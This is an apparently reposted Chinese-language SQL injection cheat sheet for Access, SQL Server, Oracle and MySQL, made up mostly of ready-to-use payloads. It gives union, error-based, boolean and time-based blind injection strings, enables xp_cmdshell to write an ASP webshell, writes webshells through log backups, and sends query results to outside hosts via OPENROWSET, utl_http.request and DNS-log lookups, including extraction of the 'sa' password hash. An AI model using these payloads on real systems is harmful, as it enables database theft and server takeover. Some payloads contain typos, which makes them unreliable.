常见的SQL注入手法


SQL注入篇

Access数据库

简介

Access数据库与其他数据库不同,他没有存储的库,所以只能猜表。

Access数据库结构

a)       表、字段、数据

 

检测表名是否存在

Select ID From Admin where ID = 10 and exists(select * from Admin)

 

Select ID From Admin where ID = 10 and exists(select * from Admin1)

 

联合注入语法

判断是否存在注入

AND方法,前后判断必须都为true

Select * From OrderList where ID = 34 and 1=1

 

Select * From OrderList where ID = 34 and 1=2

 

OR方法,前后判断一边为true即可

Select * From OrderList where ID = 3 or 1=1

 

Select * From OrderList where ID = 3 or 1=2

 

判断字段数量

Select * From Paydefault where ID = 1 order by 6

 

Select * From Paydefault where ID = 1 order by 7

报错,说明只有6个字段

 

根据表查询数据

Select * From Paydefault where ID = 1 and 1=2 union select 1,2,3,4,5,6 from Paydefault

 

From 后面的表名如果不对会报错,可以用来猜测表名

 

数据回显

Select * From Paydefault where ID = 1 and 1=2 union select 1,Paytype,3,4,5,6 from Paydefault

布尔盲注

利用ascii码来猜解字段值

首先判断是否存在表名:

 And exists(select * from admin)

不会报错,说明admin表是存在的,接下来就查列

 

可以使用字典+工具去枚举列名

如果列不存在,则会报错

 

列存在返回正常

 

知道了列之后,就可以去猜解zidu字段

首先需要知道字段的长度,可以使用top len 函数

Select * from admin where id = 1 and (select top 1 len(username) from admin)>1

这句话的的意思很简单,id = 1之后是可控的内容,然后and一个判断true=true为true

相反true=false为false,可控的内容使之我们的条件语句成立。

Top 1的意思是只显示第一行的结果

 

输入语句判断,当前的username字段的长度大于1,所以语句成立,返回true

 

大于11不成立,所以返回false

 

通过判断字段长度,得到长度为8

 

接下来就猜接字段数据

select * from admin where id=10 and (select top 1 asc(mid(username,1,1)) from admin)>10

查询第一条数据,然后取username的第一个数,取1个长度,返回一个ascii码,和后面做比较。条件成立返回true

 

条件不成立返回false

 

通过猜解长度,得到第一位的ascii码为97,再通过ascii解码得到a

 

以下的结果同上,修改username 后面第一个值即可,然后对照ascii表做匹配

 

 

Sqlserver数据库

简介

       Sqlserver经常与asp或者aspx一起使用,操作系统多数是win2012和win2018

数据库版本sql2008,sql2012。

Sqlserver联合注入

Sqlserver对数据类型的判断是比较严谨的,查询的时候需要使用字符

判断是否存在注入

?id=1 and 1=1 – -

?id=1 and 1=2 –-

判断字段的数量

       ?id=1 order by 3 –-

查询字段值

       ?id=1 and 1=2 union select 1,'2',name from mydb.sys.sysobjects where xtype = 'U' --  –-  

       ?id=1 and 1=2 union select null,null,name from mydb.sys.sysobjects where xtype = 'U' --常用的函数有

       Db_name()    获取数据库名

       @@version() 获取数据库版本

       User_name()  获取当前用户

       Host_name()  获取当前计算机

Sqlserve报错注入

使用报错语句将需要的信息显示出来

显示系统信息

       And @@version>0利用mssql在转换类型的时候就会出错时,会显示系统信息

显示当前数据库名

       And db_name()>0

 

显示当前用户

       And user_name()>0

爆出其他数据库的方法

 

-1 and (select top 1 name from master..sysdatabases)>0

-1 and (select top 1 name from master..sysdatabases where name not in (‘master’))>0

-1 and (select top 1 name from master..sysdatabases where name not in (‘master’,’admin’))>0

爆出表名

-1 and (select top 1 name from [mydb].sys.all_objects where type=’U’ and is_ms_shipped=0)>0

-1 and (select top 1 name from [mydb].sys.all_objects where type=’U’ and is_ms_shipped=0 and name not in (‘admin’))>0

爆出列

-1 and (select top 1 column_name from mydb.information_schema.columns where TABLE_NAME=’admin’ and column_name not in(‘ID’))>0

-1 and (select top 1 column_name from mydb.information_schema.columns where table_name=admin’ and column_name not in (‘ID’,’username’))>0

爆出数据

-1 and (select top 1 password from admin) > 0

 

报错注入,根据系统的表报出所有的表

1 and (select table_name from information_schema.tables where table_schema=’dbo’ fro xml path)>1

爆出所有的列

1 and (select column_name fron information_schema.columns where table_name=’admin’ fro xml path)>1

爆出数据
1 and (select username,password from admin fro xml path)1

 

Sqlserver执行系统命令

Sqlserver分号结束之后还可以执行查询结果。Mysql不可以一起执行,mysql需要前面为false才可执行后面的语句

 

Xp_cmdshell默认在mssql2000中是开启的,再mssql2005之后的版本中则默认禁止

如果用友管理员sa权限,则可以使用sp_configure重新开启它

id=1;EXEC sp_configure'show advanced options';RECONFIGURE;EXEC sp_configure'xp_cmdshell',1;RECONFIGURE;

执行系统命令

       EXEC master..dbo.xp_cmdshell 'ipconfig'

在关闭的情况下,回显报错

’开启xp_cmdshell获取shell

Id=1;exec master..xp_cmdshell 'echo ^<%eval request(chr(35))%^> > C:\inetpub\wwwroot\www.demo1.com\2.asp' --

 

Sqlserver备份拿webshell

Log备份

;if exists(select table_name from information_schema.tables where table_name=’test_tmp’) drop table test_tmp;alter database mydb set RECOVERY FULL;

以下内容可以放在一起写入

;create table test_tmp(a image)

;backup log mydb to disk = ‘根目录/asp.bak’ with init

;insert into test_tmp(a) values(0x3C25657865637574652872657175657374282261222929253eda)

;backup log mydb to disk = ‘根目录/123.asp’

;drop table test_tmp

Sqlserver openrowset转发利用

Openrowset操作远程数据库的函数

适用于盲注,页面不反悔信息,使用openrowset转发利用,需要一台带有sqlserver的机器

原理就是把当前数据库转发到远程的sqlserver上

1、开启扩展

http://www.demo1.com/index.aspx?id=1;exec sp_configure 'show advanced options',1 reconfigure;exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure

本地建立临时表

create table ##version (VERSION varchar(500))

2、查询系统信息

http://www.demo1.com/index.aspx?id=1;insert into OPENROWSET('SQLOLEDB', 'server=192.168.0.122;uid=sa;pwd=123456', 'select * from %23%23version' ) select DB_NAME()

 

执行上面语句之后 再来查询远程sqlserver上的表

select * from ##version

 

 

3、两边创建临时表

create table ##nonamed( dir ntext, num int )

http://www.demo1.com/index.aspx?id=1;create table %23%23nonamed( dir ntext, num int )

4、查询路径

insert %23%23nonamed execute master..xp_dirtree 'c:/',1

 

向nonamed表插入c盘下路径的数据

http://www.demo1.com/index.aspx?id=1;insert %23%23nonamed execute master..xp_dirtree 'c:/',1

这里就是把数据转发到远程192.168.0.122 sqlserver上

http://www.demo1.com/index.aspx?id=1;insert into OPENROWSET('SQLOLEDB', 'server=192.168.0.122;uid=sa;pwd=123456', 'select * from %23%23nonamed' ) select * from %23%23nonamed

在远程sqlserver执行这个命令 就可以获取 数据

select * from %23%23nonamed

 

Sqlserver延时注入

简介

WAITFOR是SQLServer中Transact-SQL提供的一个流程控制语句。它的作用就是等待特定时

间,然后继续执行后续的语句。它包含一个参数DELAY,用来指定等待的时间。

waitfor delay '0:0:5'  等待5秒再执行操作 ,页面将5秒之后返回

select 1 waitfor delay '0:0:5'

 

1、  截取字符串判断数据库

Substring截取字符串

Char转换的字符代码

Id=1 if(substring(db_name(),1,1)=char(109)) waitfor delay'0:0:5' –

 

查询数据库的第一位

Id=1 if(substring(db_name(),1,1)='m') waitfor delay'0:0:5' --

 

查询数据表

Id=1 if(substring((select top 1 name from mydb.sys.all_objects where type='U' ),1,1)='c') waitfor delay'0:0:5' –

 

查询列名

if(substring((Select top 1 column_name from mydb.information_schema.columns where TABLE_NAME='admin'),1,1)='I') waitfor delay'0:0:5' –

 

http://www.demo1.com/index.aspx?Id=1 if(substring((Select top 1 column_name from mydb.information_schema.columns where TABLE_NAME='admin'),2,1)='D') waitfor delay'0:0:5' --

 

Sqlserver布尔盲注(ascii)

Id=1 if ascii(substring(user,1,1))>1 WAITFOR DELAY '0:0:5'

 

查询当前数据库的长度

Id=1 if len(db_name())=4 WAITFOR DELAY '0:0:5'--

 

查询当前数据库

Id=1 if ascii(substring(db_name(),1,1))=109 WAITFOR DELAY '0:0:5' --

 

 

Oracle数据库

判断是否存在注入

Id=1 and 1 = 1 –

Id=1 and 1 = 2

判断数据库的列数

Id=1 order by 8 –

 

Oracle联合查询

Oracle对列的类型比较严谨所以要用null可以匹配任意类型

如果当前用户是一个高权限账户,可执行以下操作

1、 当前用户权限(select * from session_roles)

2、 当前数据库版本(select banner from sys.v_$version where rownum=1)

3、 服务器出口IP(select utl_http.request from dual)

4、 服务器监听IP(select utl_inaddr.get_host_address from dual)

5、 服务器操作系统(select member from v%logfile where rownum=1)

6、 服务器sid(select instance name from v$instance)

7、 服务器id(select instance_name fron v%instance)

8、 当前连接用户(select SYS_CONTEXT (‘USERNV’,’CURRENT_USER’) from dual)

9、 当前用户(select user from dual)

Oracle中的dual表是一个单行单列的虚拟表

Dual是Oracle中的一个实际存在的表,任何用户均可读取

可通过dual表来显示列数

Union select null,null,null from dual –

 

查询数据库版本、

 

查询库名

Rownum=1 : 只查询一条记录

-SMITH' union select null,(select owner from all_tables where rownum=1),null,null,null,null,null,null from dual  --

 

-SMITH' union select null,(select owner from all_tables where rownum=1 and owner<>'SYS'),null,null,null,null,null,null from dual  --

 

查询表名(表一定要大写)

-SMITH' union select null,(select table_name from user_tables where rownum=1),null,null,null,null,null,null from dual  --

 

-SMITH' union select null,(select table_name from user_tables where rownum=1 and table_name<>'ADMIN'),null,null,null,null,null,null from dual  --

 

查询列名

-SMITH' union select null,null,(select column_name from user_tab_columns where table_name='ADMIN' and rownum=1 and column_name<>'ID'),null,null,null,null,null from dual --

 

查询数据

-SMITH' union select null,null,(select concat(username,password) from admin),null,null,null,null,null from dual --  

 

扩展

查询当前用户

Select user from dual

 

一下需要高权限用户才能使用

列出所有用户:

  SELECT username FROM all_users ORDER BY username;

列出数据库

  SELECT DISTINCT owner FROM all_tables;

列出表名:

  SELECT table_name FROM all_tables;

  SELECT owner, table_name FROM all_tables;

查询表所有列

SELECT column_name FROM all_tab_columns WHERE TABLE_NAME='ADMIN';

定位文件

SELECT name FROM V$DATAFILE;

Oracle-+jsp utl_http.request反弹注入

前提:

       通过utl_http.request我们可以将查阅的结果发送到远程服务器上,在遇到盲注时非常有用,要使用该方法用户需要有utl_http访问网络的权限

1、 检测是否支持utl_http.request

and exists(select count(*) from all_objects where object_name='UTL_HTTP') --

2、 使用反弹注入获取版本信息

id=1 and utl_http.request('http://192.168.10.3:2020/'%7c%7c(select banner from sys.v_$version where rownum=1))=1 --

这个里面的语句没截好

 

3、 查询当前用户

id=1 and utl_http.request('http://192.168.10.3:2020/'%7c%7c(select user from dual where rownum=1))=1 --

4、 读取数据库的密码

id=1 and utl_http.request('http://192.168.10.3:2020/'%7c%7c(select username from admin where rownum=1))=1 --

 

 

Oracle报错注入

1、 使用UTL_INADDR.get_host_name()函数

and 1=UTL_INADDR.get_host_name((select user from dual)) --

  

2、 使用ctxsys.drithsx.sn

and 1=ctxsys.drithsx.sn(1,(select user from dual))--

 

 

 

总结如下

0x1 utl_inaddr.get_host_name()进行报错注入

and 1=utl_inaddr.get_host_name((select user from dual))--

http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select user from dual))--

0x2 ctxsys.drithsx.sn()进行报错注入

http://www.jsporcle.com/news.jsp?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual))--

0x3 XMLType()进行报错注入

and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --

http://www.jsporcle.com/news.jsp?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null --

0x4  dbms_xdb_version.checkin()进行报错注入

and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null --

查询版本信息

http://www.jsporcle.com/news.jsp?id=1 and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null --

 

0x5 bms_xdb_version.makeversioned()进报错注入

and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --

0x6 dbms_xdb_version.uncheckout()进行报错注入

and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --

0x7 dbms_utility.sqlid_to_sqlhash()进行报错注入

and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --

0x8 ordsys.ord_dicom.getmappingxpath()进行报错注入

and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--

0x9 decode进行报错注入,这种方式更偏向布尔型注入,因为这种方式并不会通过报错把查询结果回显回来,仅是用来作为页面的表现不同的判断方法。

 

and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual) --

 

查询库名

and 1=ctxsys.drithsx.sn(1,(select owner from all_tables where rownum=1)) --

 

查询表名

查询字段

and 1=utl_inaddr.get_host_name((select column_name from user_tab_columns where rownum=1)) --

查询数据

 

Oracle布尔盲注(decode)

简介

在Oracle中有两种布尔型盲注方法

一、 decode盲注法

decode(字段或字段的运算,值1,值2,值3)

解释:函数运行的结果,当运算结果等于1时返回2,否则返回3

 

查看当前用户

And 1=(select decode(user,’SYSTEM’,1,0) from dual) –

1代表true,0代表false,可以通过true或false判断界面的回显

 

查询当前用户的长度

And 1=(select length(user) from dual) --

 

查询当前用户

And 1=(select decode(substr(user,1,1),’S’,1,0) from dual) –

解释:select查询decode执行语句(字符串的运算,返回tru,返回false),substr截取字符(字符,截取第一位,取第一个)

 

And 1=(select decode(substr(user,2,1),’Y’,1,0) from dual) --

 

And 1=(select decode(substr(user,3,1),’S’,1,0) from dual) --

And 1=(select decode(substr(user,4,1),’T’,1,0) from dual) --

And 1=(select decode(substr(user,5,1),’E’,1,0) from dual) --

And 1=(select decode(substr(user,6,1),’M’,1,0) from dual) –

判断当前数据库的长度

and 3=(select length((select owner from all_tables where rownum=1)) from dual) --

 

判断当前数据库第一位

and 1=(select decode(substr((select owner from all_tables where rownum=1),1,1),'S',1,0) from dual) --

and 1=(select decode(substr((select owner from all_tables where rownum=1),2,1),'Y',1,0) from dual) –

 

and 1=(select decode(substr((select owner from all_tables where rownum=1),3,1),'S',1,0) from dual) --

 

查询数据库表名

 

查询数据

 

Oracle布尔盲注(ascii)

解释:截取user变量的字符串的第一位的第一个,变为ascii码去查询

And (select ascii(substr(user,1,1)) from dual)>1 --

 

Oracle延迟注入

简介

DBMS_PIPE.RECEIVE_MESSAGE函数将为从RDS管道返回的数据等待10秒。默认情况下,允许以public权限执行该包。DBMS_LOCK.SLEEP()与之相反,它是一个可以用在SQL语句中的函数。

1、 判断注入,如果延迟10秒存在注入

And 1=(dbms_pipe.receive_message('RDS', 10))

 

2、 使用注入语句,与decode函数一起使用

简单来说就是把decode分段中的第二个参数修改为延迟5秒

and 1=(select decode(substr(user,1,1),'S', dbms_pipe.receive_message('RDS', 5),0) from dual) --  

 

3、 查询当前数据用户的长度

and 1=(select decode(length(user),6,dbms_pipe.receive_message('RDS', 5),0) from dual) --

4、 判断第一位是哪个字符

and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS', 5),0)from dual) --

 

5、 判断当前数据库的长度

And 1=(select decode(length((select owner from all_tables where rownum=1)),3, dbms_pipe.receive_message('RDS', 5),0) from dual) --

6、 判断第一个字符

And 1=(select decode(substr((select owner from all_tables where rownum=1),1,1),'S', dbms_pipe.receive_message('RDS', 5),0)from dual) --

内联注入

Mysql

简介

这种注入方式适合在找到表找不到字段的情况下使用

这种注入方式需要联合两个表,所以这种注入也是联合查询的一种

 

原理

在SQL中查询select * from admin 星号代表所有字段

 

在使用唯一注入这种注入方法,需要确定当前表的字段数

表artice的字段为3个

使用联合语句把另外一个表联合进来查询

Select * from article where id=1 union select 1,2,3, from admin

Admin的表的字段数同样也是3个把admin.*替换1,2,3

语句并不会报错,应为列数一样同样也会显示表admin里面的字段数据

Select * from article where id=-1 union select admin.* from admin

 

查询所有的表

 

同理,查询所有的表

select tp_admin.* from tp_admin

 

id=-1 union select admin.* from admin –

 

前表必须大于等于后表的字段数,才可显示成功

前表字段数7,后表字段数为6,所以后表需要填充一个字段

 

否则

 

ACCESS数据库

Access数据库也可使用内联注入,前表与后表的字段数需相同

Selet * from affiche union select * from admin

前表字段与后表字段数量不符,所以报错

 

演示真实环境

当前字段数量为26

 

Union select 联合查询

 

猜测admin表有几个字段,可以推算用admin.*来添加,如果字段不匹配则报错

 

字段匹配正确返回结果,但是没有数据出现

 

将admin.*直接放到第一位,然后数据就会回显

 

总结:内联注入,所需要的前表必须大于后表,然后需要猜解到相等的字段长度,才可以实现

 

Dnslog无回显注入

原理

DNS在解析的时候会留下日志,利用这个属性,可以读取多级域名的解析日志,来获取信息

将带有查询的语句发起dns查询请求,通过dns请求擦汗寻到值,组合成三级域名,在ns服务器dns的日志中显示出来

无回显注入,一般使用布尔型盲注和延时注入查询数据,但是这两种查询都是很慢,dnslog查询因为是直接显示数据,所以这种注入效率上面说的这种都要好

 

Windows系统命令执行

       Ping %USERNAME%.ch6del.dnslog.cn

Linux系统命令执行

       Ping `whoami`.ip.port.ch6del.dnslog.cn

       Curl http://ip.port.ch6del.dnslog.cn/`whoami`

 

注:需要在高权限用户下执行

Access注入

load_file 使用这个函数 必须 在mysql开启  secure_file_prv= 设置可以读取方可使用这个函数

1、当secure_file_priv为空,就可以读取磁盘的目录。

2、当secure_file_priv为G:\,就可以读取G盘的文件。

3、当secure_file_priv为null,load_file就不能加载文件。

推荐平台,需要注册

平台带有payload,无脑复制粘贴即可

http://ceye.io/introduce

这里的POC需要编码,否则一些特殊符号会导致报错

declare%20%40host%20varchar(1024)%3bselect%20%40host%3d(select%20top%201%20master.dbo.fn_varbintohexstr(password_hash)%20from%20sys.sql_logins%20where%20name%3d'sa')%2b'.ip.port.o2tf2m.ceye.io'%3b%20exec('master..xp_dirtree%20%22%5c%5c'%2b%40host%2b'%5cfoobar%24%22')%3b

 

 

Mysql注入

将所需要查询的数据直接替换在select database()即可

http://target_sys.com/article.php?id=1 and if((select load_file(concat('\\\\',(SELECT database()),'.o2tf2m.ceye.io\\abc'))),1,0) --

 

 

and if((select load_file(concat('\\\\',(SELECT version()),'.o2tf2m.ceye.io\\abc'))),1,0) --

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM